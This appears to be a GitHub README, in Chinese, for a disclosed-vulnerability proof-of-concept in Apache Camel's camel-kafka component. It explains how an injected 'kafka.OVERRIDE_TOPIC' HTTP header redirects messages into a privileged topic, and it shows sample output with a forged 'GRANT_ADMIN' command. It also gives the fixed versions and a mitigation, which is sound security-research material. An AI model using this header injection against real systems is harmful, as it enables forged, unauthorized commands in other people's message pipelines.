oscerd/CVE-2026-49098

GitHub: oscerd/CVE-2026-49098

Apache Camel camel-kafka 组件 CVE-2026-2026-49098 跨 topic 注入漏洞的 PoC 复现项目,演示了 `kafka.OVERRIDE_TOPIC` 头部如何绕过 HTTP 过滤器劫持 Kafka 目标 topic。

Stars: 0 | Forks: 0

# camel-kafka kafka.OVERRIDE_TOPIC Header Injection 复现代码 (CVE-2026-49098) 本项目演示了 Apache Camel `camel-kafka` 组件中的一个**消息头注入**漏洞,对应编号为 **CVE-2026-49098**。`KafkaProducer.evaluateTopic()` 会读取 `kafka.OVERRIDE_TOPIC` 头部来选择目标 topic;如果该头部存在,它将**覆盖 endpoint 已配置的 topic**: ``` // KafkaProducer.evaluateTopic (affected 4.18.2) Object overrideTopic = message.removeHeader(KafkaConstants.OVERRIDE_TOPIC); // "kafka.OVERRIDE_TOPIC" String overrideTopicString = ...tryConvertTo(String.class, overrideTopic); if (overrideTopicString != null) { return overrideTopicString; // attacker-chosen topic } String topic = configuration.getTopic(); if (topic != null) { return topic; // the intended, configured topic } ``` 头部常量 `OVERRIDE_TOPIC` 的原始值为 `kafka.OVERRIDE_TOPIC`。**与其他 rename 系列 CVE 不同的关键细节在于:** camel-kafka *确实* 自带了一个 `KafkaHeaderFilterStrategy` 来过滤 `kafka.*` —— 但它仅作用于 **Kafka ⟷ Exchange** 的序列化边界。它**并不**覆盖上游 HTTP consumer 的边界,且上游的 `HttpHeaderFilterStrategy` 仅屏蔽 `Camel*` 命名空间。因此,从 `from(platform-http).to(kafka:...)` 传入的 `kafka.*` 头部会直接穿透,不受任何过滤。 在这种路由中,任何 HTTP 客户端都可以提供 `kafka.OVERRIDE_TOPIC` 并**将记录转移至任意 Kafka topic** —— 从而将攻击者伪造的消息注入到关键下游服务所消费的敏感/高权限 topic 中(破坏完整性), 虽然无法读取数据,却能越权写入。`kafka.OVERRIDE_TIMESTAMP` (时间戳篡改)和 `kafka.PARTITION_KEY`(分区定向)也可以通过相同的方式进行注入。 此 PoC 将其影响演示为**跨 topic 消息注入 (CWE-20 → CWE-74)**:攻击者将 伪造的指令注入到该路由本不该写入的高权限 `account-commands` topic 中。 安全公告:https://camel.apache.org/security/CVE-2026-49098.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-kafka` | | **受影响类** | `org.apache.camel.component.kafka.KafkaProducer#evaluateTopic` 读取 `KafkaConstants.OVERRIDE_TOPIC` (`"kafka.OVERRIDE_TOPIC"`) | | **CWE** | CWE-20 (不当输入验证) / CWE-74 (注入) | | **影响** | 重定向或将生成的记录注入到任意 Kafka topic(跨 topic 注入,破坏完整性) | | **前置条件** | 路由将 HTTP consumer 桥接到 `kafka:` producer;如果 consumer 未经过认证,则同样无需认证 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23584 (PR [apache/camel#23602](https://github.com/apache/camel/pull/23602)) | | **致谢** | Yu Bao (PayPal) | ## 为什么不需要 Kafka broker 该漏洞完全存在于 `KafkaProducer.evaluateTopic()` 中;broker 仅作为传输层。camel-kafka 提供了 `KafkaClientFactory` SPI,因此本复现代码提供了一个工厂,用于返回 Kafka **`Mock Producer`**(来自 `kafka-clients` 的官方测试替身)。**真正的** camel-kafka producer 原封不动地运行;MockProducer 的 `history()` 会记录每条生成记录的目标 topic。全程未与任何 broker 建立连接。 ## 受害者路由 ``` from("platform-http:/feedback") .to("kafka:user-feedback?brokers=broker:9092&kafkaClientFactory=#mockFactory"); ``` 这是一个固定写入低权限 `user-feedback` topic 的“反馈” endpoint。HTTP API 中并没有 topic 参数 —— 开发者假定客户端无法选择 topic。而攻击者可以通过设置 `kafka.OVERRIDE_TOPIC` 让 记录被发送到攻击者指定的 topic。 ## 仓库结构 ``` CVE-2026-49098/ ├── pom.xml # camel-platform-http + camel-kafka 4.18.2 (kafka-clients 3.9.2) ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── MockKafkaClientFactory.java # KafkaClientFactory returning a Kafka MockProducer (no broker) │ ├── KafkaFactoryConfig.java # registers it as #mockFactory │ ├── VictimRoute.java # platform-http:/feedback -> kafka:user-feedback │ └── ExploitController.java # attacker: injects kafka.OVERRIDE_TOPIC=account-commands └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` === CVE-2026-49098 — camel-kafka kafka.OVERRIDE_TOPIC header injection (cross-topic injection) === Route intent: POST /feedback -> Kafka topic 'user-feedback' (fixed in the endpoint config) 1) Legitimate POST /feedback (no kafka.OVERRIDE_TOPIC header) record published to topic: user-feedback value: Great product, thanks! 2) Injected POST /feedback with header 'kafka.OVERRIDE_TOPIC: account-commands' record published to topic: account-commands value: {"action":"GRANT_ADMIN","account":"attacker@evil.example"} >>> PROVEN: an inbound HTTP header (kafka.OVERRIDE_TOPIC) passed the Camel HTTP header filter >>> and overrode the producer's configured topic, injecting an attacker-forged command into a >>> privileged Kafka topic the route was never meant to write to (cross-topic injection): true ``` ## 推荐修复方案 升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23584)。升级后,通过头部设置 topic(或 timestamp、 partition、key)的路由必须使用 `CamelKafka*` 名称 —— 请查阅 4.x 升级指南中的重命名表,因为这 是一个破坏性变更。 ## 缓解措施 在完成升级之前,请从 `kafka:` producer 之前的任何不受信任的入口流量中剥离 camel-kafka 控制头部 (例如使用 `removeHeaders("kafka.*")`),并从受信任的来源设置 topic。 ## 免责声明 本复现代码仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, HTTP头注入, JS文件枚举, Kafka, PoC, SonarQube插件, Web报告查看器, 域名枚举, 安全漏洞复现, 暴力破解, 消息伪造, 版权保护, 请求拦截